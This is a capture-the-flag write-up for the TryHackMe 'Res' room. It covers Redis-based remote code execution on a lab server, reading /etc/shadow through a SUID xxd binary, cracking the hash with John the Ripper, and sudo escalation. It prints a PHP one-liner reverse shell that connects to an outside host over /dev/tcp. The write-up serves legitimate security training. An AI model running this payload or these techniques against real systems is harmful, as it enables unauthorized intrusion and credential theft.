> For the complete documentation index, see [llms.txt](https://angellm.gitbook.io/hacknotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angellm.gitbook.io/hacknotes/thm/2022/res.md).

# Res

\#cracking, #linux, #rce, #redis, #sudo, #SUID

## Res - Writeup

**Date**: 27/03/2022

**Difficulty**: Easy

**CTF**: <https://tryhackme.com/room/res>

***

Hack into a vulnerable database server with an in-memory data-structure in this semi-guided challenge!

## Scan the machine, how many ports are open?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f461860506e2828c67781a6ba719e4428100f311%2Fres0.png?alt=media" alt=""><figcaption></figcaption></figure>

## What’s the database management system installed on the server? What port is the database management system running on?What's is the version of management system installed on the server?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-601649656a8648737c5609fe96c78a6e965a32c9%2Fres1.png?alt=media" alt=""><figcaption></figcaption></figure>

## Compromise the machine and locate user.txt

First of all, let’s visit the webpage hosted on the port 80:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-22fc1b549cc63f3568da3c26e27afba1e7ff6b9a%2Fres2.png?alt=media" alt=""><figcaption></figcaption></figure>

It displays a default page of an apache server recently installed.

As we have seen, there is a redis server running on port 6379. After some reading, I found that there is a way to interact with this service.

Let’s download the redis application:

<https://redis.io/docs/getting-started/>

<https://redis.io/docs/manual/cli/>

Let’s test the connection:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f61480c9e364bba77a57b6fcc33003acc83f6045%2Fres3.png?alt=media" alt=""><figcaption></figcaption></figure>

It seems like we have connection with the redis server!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-db06d7afae66fabcf76162be26be20708c584de2%2Fres4.png?alt=media" alt=""><figcaption></figcaption></figure>

The info command seems to be helpful to retrieve redis server information:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-89387d80b046c3f9945585d533b019d88eeb66a8%2Fres5.png?alt=media" alt=""><figcaption></figcaption></figure>

According to this webpage (<https://book.hacktricks.xyz/pentesting/6379-pentesting-redis>) there is a way to do a Remote Code Execution on a redis server:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-2149fa3270cfc6cd8f39bd874b71f6939025faf6%2Fres6.png?alt=media" alt=""><figcaption></figcaption></figure>

We should know the path where we want to write the php file. Since we have visited the page before, we know that the folder is: `/var/www/html`

So, following the steps we do the same in our case:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c6cecfd05d2aa0a52a7d62f24817d61297d5d3e7%2Fres7.png?alt=media" alt=""><figcaption></figcaption></figure>

Now let’s visit the page:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-0f96498d58e95365a71763d3e40ab6d1eefa7333%2Fres8.png?alt=media" alt=""><figcaption></figcaption></figure>

It works, now let’s try to write a reverse shell in php:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-28d7512aeaaba696d35955d5222ea0a151ebc277%2Fres9.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s open a netcat listener in our machine:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-fe059724b4ebe298ffdb2a00acb26b51ebf3d42d%2Fres10.png?alt=media" alt=""><figcaption></figcaption></figure>

And let’s visit the rs.php file:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-3c4c6708f9bfa8eb3049275cbe48e4d0d9f60ff9%2Fres11.png?alt=media" alt=""><figcaption></figcaption></figure>

We got a connection but it quickly disconnects...

Let’s try with this other one-line php reverse shell:

```jsx
'<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.8.36.26/1234 0>&1\'"); ?>'
```

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-64a3e62a6324315e11a8908b979cbb52c5663366%2Fres12.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-01e46080f994dd82de67a93994a40410dbd8c758%2Fres13.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah, this one works!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-a41b2b9a0d403070495c0d374fb556d9c8e5cf6d%2Fres24.png?alt=media" alt=""><figcaption></figcaption></figure>

We found the key file in the /home/vianka folder.

## What is the local user account password?

Before anything, let’s try to stabilize this shell:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-603901fb8905678f20198a495f04a1756cb16493%2Fres14.png?alt=media" alt=""><figcaption></figcaption></figure>

Python is installed in the machine, so let’s use it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-143ef22eba6b4a318c032938a0a591399c54895f%2Fres15.png?alt=media" alt=""><figcaption></figcaption></figure>

Ok, shell stabilized, now let’s look for the local user account password. Can we read /etc/shadow file?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-0a277b8df2b4933e7efa599062a0c7a713a62490%2Fres16.png?alt=media" alt=""><figcaption></figcaption></figure>

Nope, we can’t.

Something interesting in the history?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-4c593c09837cac6fb6dd0adcc53b4e132ae8167b%2Fres17.png?alt=media" alt=""><figcaption></figcaption></figure>

Let’s see if we find some keys in the user directory... nothing useful I can see...

After spending some time looking for ssh keys or something useful, I look for files with SUID activated:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ef1a2e2fcebeedbd1116beaa09a975ed94dcab49%2Fres18.png?alt=media" alt=""><figcaption></figcaption></figure>

From this list, xxd appears in the GTFO Bins list:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-6f014d9c3fc4289faf5fecf35e950b15a0e0968a%2Fres19.png?alt=media" alt=""><figcaption></figcaption></figure>

Exploiting this, we should be able to read /etc/shadow file!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-bbc5dd7d1cea36dcaadce56f7df3f544e7390e75%2Fres25.png?alt=media" alt=""><figcaption></figcaption></figure>

Yeah! Now with the info of /etc/passwd, let’s use unshadow and John the ripper to crack the hash!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c200a8d1077c8ad6fff425313b8c532caf12128d%2Fres26.png?alt=media" alt=""><figcaption></figcaption></figure>

Unshadow done, now let’s crack it!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-f9f30379e4b901f3ddaf8ce0022ed04f7a72ca6a%2Fres27.png?alt=media" alt=""><figcaption></figcaption></figure>

Cool!

## Escalate privileges and obtain root.txt

Let’s login as vianka and see if we have more permissions:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-e842711ad9c4329ac31ccc3160e28f1b221ee008%2Fres20.png?alt=media" alt=""><figcaption></figcaption></figure>

Enough permissions to access to root folder?

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-0fce3de9af8d2b531d46240a3c4624ba3cc61924%2Fres21.png?alt=media" alt=""><figcaption></figcaption></figure>

Nope. Let’s see what we can execute with sudo:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-08d46b3a204722d7a5acc1e4cee37e76718e4934%2Fres22.png?alt=media" alt=""><figcaption></figcaption></figure>

Really? We can run any command using sudo...

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-dee63b7bbe4ec8d53fd934f2742a2f1e8b4df922%2Fres23.png?alt=media" alt=""><figcaption></figcaption></figure>

Woah

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-64194b616fa5b7aca59f9525feaefe722c66780e%2Fres28.png?alt=media" alt=""><figcaption></figcaption></figure>

And this quickly we get the last flag!
